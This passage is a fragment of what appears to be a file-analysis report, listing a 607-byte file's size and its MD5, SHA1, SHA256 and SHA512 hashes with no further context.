SHA51222d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2
-
Filesize
607B
MD5083c0d5e5aab78debc7d4493ffcf6ec2
SHA1ec90797de04a351d22cc328e100a6973b8daf894
SHA2560169fa4531f4ee29dad3eca1ec231a779a657905bf7277ef12adfae75ffe6dea
SHA5129c7d8e1eb6a4906a98577c0b4473aaff52e45bbacba724319be3358a70e95b52fec331ba649eeb79b993b5981647f6bddfdd05c714cea13736df1f58d6340fde